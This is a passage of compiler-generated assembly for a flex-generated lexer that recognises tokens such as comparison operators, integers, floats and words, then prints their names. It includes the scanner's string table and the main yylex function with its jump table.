.asciz "LESSEQUAL "
l_.str.51: ; @.str.51
.asciz "GREATER "
l_.str.52: ; @.str.52
.asciz "LESS "
l_.str.53: ; @.str.53
.asciz "EQUALTO "
l_.str.54: ; @.str.54
.asciz "DIFFERENTTO "
l_.str.55: ; @.str.55
.asciz "EQUAL "
l_.str.56: ; @.str.56
.asciz "\t"
l_.str.57: ; @.str.57
.asciz "\n"
l_.str.58: ; @.str.58
.asciz " "
l_.str.59: ; @.str.59
.asciz "FLOAT(%d) "
l_.str.60: ; @.str.60
.asciz "INT(%d) "
l_.str.61: ; @.str.61
.asciz "WORD(%s) "
l_.str.62: ; @.str.62
.asciz "INVALIDTOKEN(%s) "
.zerofill __DATA,__bss,_yy_n_chars,4,2 ; @yy_n_chars
.zerofill __DATA,__bss,_yy_did_buffer_switch_on_eof,4,2 ; @yy_did_buffer_switch_on_eof
l_.str.63: ; @.str.63
.asciz "fatal flex scanner internal error--no action found"
l_.str.64: ; @.str.64
.asciz "out of dynamic memory in yy_create_buffer()"
l_.str.65: ; @.str.65
.asciz "out of dynamic memory in yy_scan_buffer()"
l_.str.66: ; @.str.66
.asciz "out of dynamic memory in yy_scan_bytes()"
l_.str.67: ; @.str.67
.asciz "bad buffer in yy_scan_bytes()"
l_.str.68: ; @.str.68
.asciz "t1.ms"
l_.str.69: ; @.str.69
.asciz "r"
l_.str.70: ; @.str.70
.asciz "fatal flex scanner internal error--end of buffer missed"
l_.str.71: ; @.str.71
.asciz "input buffer overflow, can't enlarge buffer because scanner uses REJECT"
l_.str.72: ; @.str.72
.asciz "input in flex scanner failed"
l_.str.73: ; @.str.73
.asciz "%s\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _yylex ## -- Begin function yylex
.p2align 4, 0x90
_yylex: ## @yylex
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
cmpl $0, _yy_init(%rip)
je LBB0_10
## %bb.1:
movl $0, _yy_init(%rip)
cmpl $0, _yy_start(%rip)
jne LBB0_3
## %bb.2:
movl $1, _yy_start(%rip)
LBB0_3:
cmpq $0, _yyin(%rip)
jne LBB0_5
## %bb.4:
movq ___stdinp@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, _yyin(%rip)
LBB0_5:
cmpq $0, _yyout(%rip)
jne LBB0_7
## %bb.6:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, _yyout(%rip)
LBB0_7:
cmpq $0, _yy_current_buffer(%rip)
jne LBB0_9
## %bb.8:
movq _yyin(%rip), %rdi
movl $16384, %esi ## imm = 0x4000
callq _yy_create_buffer
movq %rax, _yy_current_buffer(%rip)
LBB0_9:
callq _yy_load_buffer_state
LBB0_10:
jmp LBB0_11
LBB0_11: ## =>This Loop Header: Depth=1
## Child Loop BB0_12 Depth 2
## Child Loop BB0_13 Depth 3
## Child Loop BB0_14 Depth 4
## Child Loop BB0_21 Depth 3
## Child Loop BB0_23 Depth 4
## Child Loop BB0_29 Depth 4
## Child Loop BB0_36 Depth 4
movq _yy_c_buf_p(%rip), %rax
movq %rax, -16(%rbp)
movb _yy_hold_char(%rip), %cl
movq -16(%rbp), %rax
movb %cl, (%rax)
movq -16(%rbp), %rax
movq %rax, -24(%rbp)
movl _yy_start(%rip), %eax
movl %eax, -4(%rbp)
leaq _yy_state_buf(%rip), %rax
movq %rax, _yy_state_ptr(%rip)
movl -4(%rbp), %ecx
movq _yy_state_ptr(%rip), %rax
movq %rax, %rdx
addq $4, %rdx
movq %rdx, _yy_state_ptr(%rip)
movl %ecx, (%rax)
LBB0_12: ## Parent Loop BB0_11 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_13 Depth 3
## Child Loop BB0_14 Depth 4
## Child Loop BB0_21 Depth 3
## Child Loop BB0_23 Depth 4
## Child Loop BB0_29 Depth 4
## Child Loop BB0_36 Depth 4
jmp LBB0_13
LBB0_13: ## Parent Loop BB0_11 Depth=1
## Parent Loop BB0_12 Depth=2
## => This Loop Header: Depth=3
## Child Loop BB0_14 Depth 4
movq -16(%rbp), %rax
movzbl (%rax), %eax
movl %eax, %eax
movl %eax, %ecx
leaq _yy_ec(%rip), %rax
movl (%rax,%rcx,4), %eax
## kill: def $al killed $al killed $eax
movb %al, -29(%rbp)
LBB0_14: ## Parent Loop BB0_11 Depth=1
## Parent Loop BB0_12 Depth=2
## Parent Loop BB0_13 Depth=3
## => This Inner Loop Header: Depth=4
movslq -4(%rbp), %rcx
leaq _yy_base(%rip), %rax
movswl (%rax,%rcx,2), %eax
movzbl -29(%rbp), %ecx
addl %ecx, %eax
movslq %eax, %rcx
leaq _yy_chk(%rip), %rax
movswl (%rax,%rcx,2), %eax
cmpl -4(%rbp), %eax
je LBB0_18
## %bb.15: ## in Loop: Header=BB0_14 Depth=4
movslq -4(%rbp), %rcx
leaq _yy_def(%rip), %rax
movswl (%rax,%rcx,2), %eax
movl %eax, -4(%rbp)
cmpl $187, -4(%rbp)
jl LBB0_17
## %bb.16: ## in Loop: Header=BB0_14 Depth=4
movzbl -29(%rbp), %eax
movl %eax, %eax
movl %eax, %ecx
leaq _yy_meta(%rip), %rax
movl (%rax,%rcx,4), %eax
## kill: def $al killed $al killed $eax
movb %al, -29(%rbp)
LBB0_17: ## in Loop: Header=BB0_14 Depth=4
jmp LBB0_14
LBB0_18: ## in Loop: Header=BB0_13 Depth=3
movslq -4(%rbp), %rcx
leaq _yy_base(%rip), %rax
movswl (%rax,%rcx,2), %eax
movzbl -29(%rbp), %ecx
addl %ecx, %eax
movl %eax, %eax
movl %eax, %ecx
leaq _yy_nxt(%rip), %rax
movswl (%rax,%rcx,2), %eax
movl %eax, -4(%rbp)
movl -4(%rbp), %ecx
movq _yy_state_ptr(%rip), %rax
movq %rax, %rdx
addq $4, %rdx
movq %rdx, _yy_state_ptr(%rip)
movl %ecx, (%rax)
movq -16(%rbp), %rax
addq $1, %rax
movq %rax, -16(%rbp)
## %bb.19: ## in Loop: Header=BB0_13 Depth=3
movslq -4(%rbp), %rcx
leaq _yy_base(%rip), %rax
movswl (%rax,%rcx,2), %eax
cmpl $195, %eax
jne LBB0_13
## %bb.20: ## in Loop: Header=BB0_12 Depth=2
jmp LBB0_21
LBB0_21: ## Parent Loop BB0_11 Depth=1
## Parent Loop BB0_12 Depth=2
## => This Loop Header: Depth=3
## Child Loop BB0_23 Depth 4
## Child Loop BB0_29 Depth 4
## Child Loop BB0_36 Depth 4
movq _yy_state_ptr(%rip), %rax
movq %rax, %rcx
addq $-4, %rcx
movq %rcx, _yy_state_ptr(%rip)
movl -4(%rax), %eax
movl %eax, -4(%rbp)
movslq -4(%rbp), %rcx
leaq _yy_accept(%rip), %rax
movswl (%rax,%rcx,2), %eax
movl %eax, _yy_lp(%rip)
## %bb.22: ## in Loop: Header=BB0_21 Depth=3
jmp LBB0_23
LBB0_23: ## Parent Loop BB0_11 Depth=1
## Parent Loop BB0_12 Depth=2
## Parent Loop BB0_21 Depth=3
## => This Inner Loop Header: Depth=4
cmpl $0, _yy_lp(%rip)
je LBB0_26
## %bb.24: ## in Loop: Header=BB0_23 Depth=4
movl _yy_lp(%rip), %eax
movl -4(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rdx
leaq _yy_accept(%rip), %rcx
movswl (%rcx,%rdx,2), %ecx
cmpl %ecx, %eax
jge LBB0_26
## %bb.25: ## in Loop: Header=BB0_21 Depth=3
movslq _yy_lp(%rip), %rcx
leaq _yy_acclist(%rip), %rax
movswl (%rax,%rcx,2), %eax
movl %eax, -28(%rbp)
movq -16(%rbp), %rax
movq %rax, _yy_full_match(%rip)
jmp LBB0_27
LBB0_26: ## in Loop: Header=BB0_23 Depth=4
movq -16(%rbp), %rax
addq $-1, %rax
movq %rax, -16(%rbp)
movq _yy_state_ptr(%rip), %rax
movq %rax, %rcx
addq $-4, %rcx
movq %rcx, _yy_state_ptr(%rip)
movl -4(%rax), %eax
movl %eax, -4(%rbp)
movslq -4(%rbp), %rcx
leaq _yy_accept(%rip), %rax
movswl (%rax,%rcx,2), %eax
movl %eax, _yy_lp(%rip)
jmp LBB0_23
LBB0_27: ## in Loop: Header=BB0_21 Depth=3
movq -24(%rbp), %rcx
movq _yytext@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -16(%rbp), %rax
movq -24(%rbp), %rcx
subq %rcx, %rax
movl %eax, %ecx
movq _yyleng@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq -16(%rbp), %rax
movb (%rax), %al
movb %al, _yy_hold_char(%rip)
movq -16(%rbp), %rax
movb $0, (%rax)
movq -16(%rbp), %rax
movq %rax, _yy_c_buf_p(%rip)
cmpl $65, -28(%rbp)
je LBB0_35
## %bb.28: ## in Loop: Header=BB0_21 Depth=3
movl $0, -36(%rbp)
LBB0_29: ## Parent Loop BB0_11 Depth=1
## Parent Loop BB0_12 Depth=2
## Parent Loop BB0_21 Depth=3
## => This Inner Loop Header: Depth=4
movl -36(%rbp), %eax
movq _yyleng@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB0_34
## %bb.30: ## in Loop: Header=BB0_29 Depth=4
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -36(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $10, %eax
jne LBB0_32
## %bb.31: ## in Loop: Header=BB0_29 Depth=4
movl _yylineno(%rip), %eax
addl $1, %eax
movl %eax, _yylineno(%rip)
LBB0_32: ## in Loop: Header=BB0_29 Depth=4
jmp LBB0_33
LBB0_33: ## in Loop: Header=BB0_29 Depth=4
movl -36(%rbp), %eax
addl $1, %eax
movl %eax, -36(%rbp)
jmp LBB0_29
LBB0_34: ## in Loop: Header=BB0_21 Depth=3
jmp LBB0_35
LBB0_35: ## in Loop: Header=BB0_21 Depth=3
jmp LBB0_36
LBB0_36: ## Parent Loop BB0_11 Depth=1
## Parent Loop BB0_12 Depth=2
## Parent Loop BB0_21 Depth=3
## => This Inner Loop Header: Depth=4
movl -28(%rbp), %eax
decl %eax
movl %eax, %ecx
movq %rcx, -56(%rbp) ## 8-byte Spill
subl $65, %eax
ja LBB0_119
## %bb.121: ## in Loop: Header=BB0_36 Depth=4
movq -56(%rbp), %rax ## 8-byte Reload
leaq LJTI0_0(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB0_37: ## in Loop: Header=BB0_11 Depth=1
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_38: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_39: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_40: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_41: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_42: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_43: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_44: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_45: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.8(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_46: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.9(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_47: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_48: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.11(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_49: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.12(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_50: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.13(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_51: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.14(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_52: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.15(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_53: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.16(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_54: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.17(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_55: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.18(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_56: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.19(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_57: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.20(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_58: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.21(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_59: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.22(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_60: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.23(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_61: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.24(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_62: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.25(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_63: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.26(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_64: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.27(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_65: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.28(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_66: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.29(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_67: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.30(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_68: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.31(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_69: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.32(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_70: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.33(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_71: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.34(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_72: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.35(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_73: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.36(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_74: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.37(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_75: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.38(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_76: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.39(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_77: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.40(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_78: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.41(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_79: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.42(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_80: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.43(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_81: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.44(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_82: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.45(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_83: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.46(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_84: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.47(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_85: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.48(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_86: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.49(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_87: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.50(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_88: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.51(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_89: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.52(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_90: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.53(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_91: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.54(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_92: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.55(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_93: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.56(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_94: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.57(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_95: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.58(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_96: ## in Loop: Header=BB0_11 Depth=1
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _atoi
movl %eax, %esi
leaq L_.str.59(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_97: ## in Loop: Header=BB0_11 Depth=1
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _atoi
movl %eax, %esi
leaq L_.str.60(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_98: ## in Loop: Header=BB0_11 Depth=1
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.61(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_99: ## in Loop: Header=BB0_11 Depth=1
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.62(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_120
LBB0_100: ## in Loop: Header=BB0_11 Depth=1
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq _yyleng@GOTPCREL(%rip), %rax
movslq (%rax), %rsi
movq _yyout(%rip), %rcx
movl $1, %edx
callq _fwrite
jmp LBB0_120
LBB0_101:
xorl %eax, %eax
addq $64, %rsp
popq %rbp
retq
LBB0_102: ## in Loop: Header=BB0_36 Depth=4
movq -16(%rbp), %rax
movq _yytext@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
subq %rcx, %rax
## kill: def $eax killed $eax killed $rax
subl $1, %eax
movl %eax, -40(%rbp)
movb _yy_hold_char(%rip), %cl
movq -16(%rbp), %rax
movb %cl, (%rax)
movq _yy_current_buffer(%rip), %rax
cmpl $0, 48(%rax)
jne LBB0_104
## %bb.103: ## in Loop: Header=BB0_36 Depth=4
movq _yy_current_buffer(%rip), %rax
movl 28(%rax), %eax
movl %eax, _yy_n_chars(%rip)
movq _yyin(%rip), %rcx
movq _yy_current_buffer(%rip), %rax
movq %rcx, (%rax)
movq _yy_current_buffer(%rip), %rax
movl $1, 48(%rax)
LBB0_104: ## in Loop: Header=BB0_36 Depth=4
movq _yy_c_buf_p(%rip), %rax
movq _yy_current_buffer(%rip), %rcx
movq 8(%rcx), %rcx
movslq _yy_n_chars(%rip), %rdx
addq %rdx, %rcx
cmpq %rcx, %rax
ja LBB0_108
## %bb.105: ## in Loop: Header=BB0_21 Depth=3
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -40(%rbp), %rcx
addq %rcx, %rax
movq %rax, _yy_c_buf_p(%rip)
callq _yy_get_previous_state
movl %eax, -4(%rbp)
movl -4(%rbp), %edi
callq _yy_try_NUL_trans
movl %eax, -44(%rbp)
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -24(%rbp)
cmpl $0, -44(%rbp)
je LBB0_107
## %bb.106: ## in Loop: Header=BB0_12 Depth=2
movq _yy_c_buf_p(%rip), %rax
addq $1, %rax
movq %rax, _yy_c_buf_p(%rip)
movq %rax, -16(%rbp)
movl -44(%rbp), %eax
movl %eax, -4(%rbp)
jmp LBB0_12
LBB0_107: ## in Loop: Header=BB0_21 Depth=3
movq _yy_c_buf_p(%rip), %rax
movq %rax, -16(%rbp)
jmp LBB0_21
LBB0_108: ## in Loop: Header=BB0_36 Depth=4
callq _yy_get_next_buffer
movl %eax, %ecx
movl %ecx, -60(%rbp) ## 4-byte Spill
testl %eax, %eax
je LBB0_115
jmp LBB0_122
LBB0_122: ## in Loop: Header=BB0_36 Depth=4
movl -60(%rbp), %eax ## 4-byte Reload
subl $1, %eax
je LBB0_109
jmp LBB0_123
LBB0_123: ## in Loop: Header=BB0_21 Depth=3
movl -60(%rbp), %eax ## 4-byte Reload
subl $2, %eax
je LBB0_116
jmp LBB0_117
LBB0_109: ## in Loop: Header=BB0_36 Depth=4
movl $0, _yy_did_buffer_switch_on_eof(%rip)
callq _yywrap
cmpl $0, %eax
je LBB0_111
## %bb.110: ## in Loop: Header=BB0_36 Depth=4
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, _yy_c_buf_p(%rip)
movl _yy_start(%rip), %eax
subl $1, %eax
movl $2, %ecx
cltd
idivl %ecx
addl $65, %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB0_36
LBB0_111: ## in Loop: Header=BB0_11 Depth=1
cmpl $0, _yy_did_buffer_switch_on_eof(%rip)
jne LBB0_113
## %bb.112: ## in Loop: Header=BB0_11 Depth=1
movq _yyin(%rip), %rdi
callq _yyrestart
LBB0_113: ## in Loop: Header=BB0_11 Depth=1
jmp LBB0_114
LBB0_114: ## in Loop: Header=BB0_11 Depth=1
jmp LBB0_117
LBB0_115: ## in Loop: Header=BB0_12 Depth=2
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -40(%rbp), %rcx
addq %rcx, %rax
movq %rax, _yy_c_buf_p(%rip)
callq _yy_get_previous_state
movl %eax, -4(%rbp)
movq _yy_c_buf_p(%rip), %rax
movq %rax, -16(%rbp)
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -24(%rbp)
jmp LBB0_12
LBB0_116: ## in Loop: Header=BB0_21 Depth=3
movq _yy_current_buffer(%rip), %rax
movq 8(%rax), %rax
movslq _yy_n_chars(%rip), %rcx
addq %rcx, %rax
movq %rax, _yy_c_buf_p(%rip)
callq _yy_get_previous_state
movl %eax, -4(%rbp)
movq _yy_c_buf_p(%rip), %rax
movq %rax, -16(%rbp)
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -24(%rbp)
jmp LBB0_21
LBB0_117: ## in Loop: Header=BB0_11 Depth=1
jmp LBB0_118
LBB0_118: ## in Loop: Header=BB0_11 Depth=1
jmp LBB0_120
LBB0_119: ## in Loop: Header=BB0_11 Depth=1
leaq L_.str.63(%rip), %rdi
callq _yy_fatal_error
LBB0_120: ## in Loop: Header=BB0_11 Depth=1
jmp LBB0_11
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L0_0_set_37, LBB0_37-LJTI0_0
.set L0_0_set_38, LBB0_38-LJTI0_0
.set L0_0_set_39, LBB0_39-LJTI0_0
.set L0_0_set_40, LBB0_40-LJTI0_0
.set L0_0_set_41, LBB0_41-LJTI0_0
.set L0_0_set_42, LBB0_42-LJTI0_0
.set L0_0_set_43, LBB0_43-LJTI0_0
.set L0_0_set_44, LBB0_44-LJTI0_0
.set L0_0_set_45, LBB0_45-LJTI0_0
.set L0_0_set_46, LBB0_46-LJTI0_0
.set L0_0_set_47, LBB0_47-LJTI0_0
.set L0_0_set_48, LBB0_48-LJTI0_0
.set L0_0_set_49, LBB0_49-LJTI0_0
.set L0_0_set_50, LBB0_50-LJTI0_0
.set L0_0_set_51, LBB0_51-LJTI0_0
.set L0_0_set_52, LBB0_52-LJTI0_0
.set L0_0_set_53, LBB0_53-LJTI0_0
.set L0_0_set_54, LBB0_54-LJTI0_0
.set L0_0_set_55, LBB0_55-LJTI0_0
.set L0_0_set_56, LBB0_56-LJTI0_0
.set L0_0_set_57, LBB0_57-LJTI0_0
.set L0_0_set_58, LBB0_58-LJTI0_0
.set L0_0_set_59, LBB0_59-LJTI0_0
.set L0_0_set_60, LBB0_60-LJTI0_0
.set L0_0_set_61, LBB0_61-LJTI0_0
.set L0_0_set_62, LBB0_62-LJTI0_0
.set L0_0_set_63, LBB0_63-LJTI0_0
.set L0_0_set_64, LBB0_64-LJTI0_0
.set L0_0_set_65, LBB0_65-LJTI0_0
.set L0_0_set_66, LBB0_66-LJTI0_0
.set L0_0_set_67, LBB0_67-LJTI0_0
.set L0_0_set_68, LBB0_68-LJTI0_0
.set L0_0_set_69, LBB0_69-LJTI0_0
.set L0_0_set_70, LBB0_70-LJTI0_0
.set L0_0_set_71, LBB0_71-LJTI0_0
.set L0_0_set_72, LBB0_72-LJTI0_0
.set L0_0_set_73, LBB0_73-LJTI0_0
.set L0_0_set_74, LBB0_74-LJTI0_0
.set L0_0_set_75, LBB0_75-LJTI0_0
.set L0_0_set_76, LBB0_76-LJTI0_0
.set L0_0_set_77, LBB0_77-LJTI0_0
.set L0_0_set_78, LBB0_78-LJTI0_0
.set L0_0_set_79, LBB0_79-LJTI0_0
.set L0_0_set_80, LBB0_80-LJTI0_0
.set L0_0_set_81, LBB0_81-LJTI0_0
.set L0_0_set_82, LBB0_82-LJTI0_0
.set L0_0_set_83, LBB0_83-LJTI0_0
.set L0_0_set_84, LBB0_84-LJTI0_0
.set L0_0_set_85, LBB0_85-LJTI0_0
.set L0_0_set_86, LBB0_86-LJTI0_0
.set L0_0_set_87, LBB0_87-LJTI0_0
.set L0_0_set_88, LBB0_88-LJTI0_0
.set L0_0_set_89, LBB0_89-LJTI0_0
.set L0_0_set_90, LBB0_90-LJTI0_0
.set L0_0_set_91, LBB0_91-LJTI0_0
.set L0_0_set_92, LBB0_92-LJTI0_0
.set L0_0_set_93, LBB0_93-LJTI0_0
.set L0_0_set_94, LBB0_94-LJTI0_0
.set L0_0_set_95, LBB0_95-LJTI0_0
.set L0_0_set_96, LBB0_96-LJTI0_0
.set L0_0_set_97, LBB0_97-LJTI0_0
.set L0_0_set_98, LBB0_98-LJTI0_0
.set L0_0_set_99, LBB0_99-LJTI0_0
.set L0_0_set_100, LBB0_100-LJTI0_0
.set L0_0_set_102, LBB0_102-LJTI0_0
.set L0_0_set_101, LBB0_101-LJTI0_0
LJTI0_0:
.long L0_0_set_37
.long L0_0_set_38
.long L0_0_set_39
.long L0_0_set_40
.long L0_0_set_41
.long L0_0_set_42
.long L0_0_set_43
.long L0_0_set_44
.long L0_0_set_45
.long L0_0_set_46
.long L0_0_set_47
.long L0_0_set_48
.long L0_0_set_49
.long L0_0_set_50
.long L0_0_set_51
.long L0_0_set_52
.long L0_0_set_53
.long L0_0_set_54
.long L0_0_set_55
.long L0_0_set_56
.long L0_0_set_57
.long L0_0_set_58
.long L0_0_set_59
.long L0_0_set_60
.long L0_0_set_61
.long L0_0_set_62
.long L0_0_set_63
.long L0_0_set_64
.long L0_0_set_65
.long L0_0_set_66
.long L0_0_set_67
.long L0_0_set_68
.long L0_0_set_69
.long L0_0_set_70
.long L0_0_set_71
.long L0_0_set_72
.long L0_0_set_73
.long L0_0_set_74
.long L0_0_set_75
.long L0_0_set_76
.long L0_0_set_77
.long L0_0_set_78
.long L0_0_set_79
.long L0_0_set_80
.long L0_0_set_81
.long L0_0_set_82
.long L0_0_set_83
.long L0_0_set_84
.long L0_0_set_85
.long L0_0_set_86
.long L0_0_set_87
.long L0_0_set_88
.long L0_0_set_89
.long L0_0_set_90
.long L0_0_set_91
.long L0_0_set_92
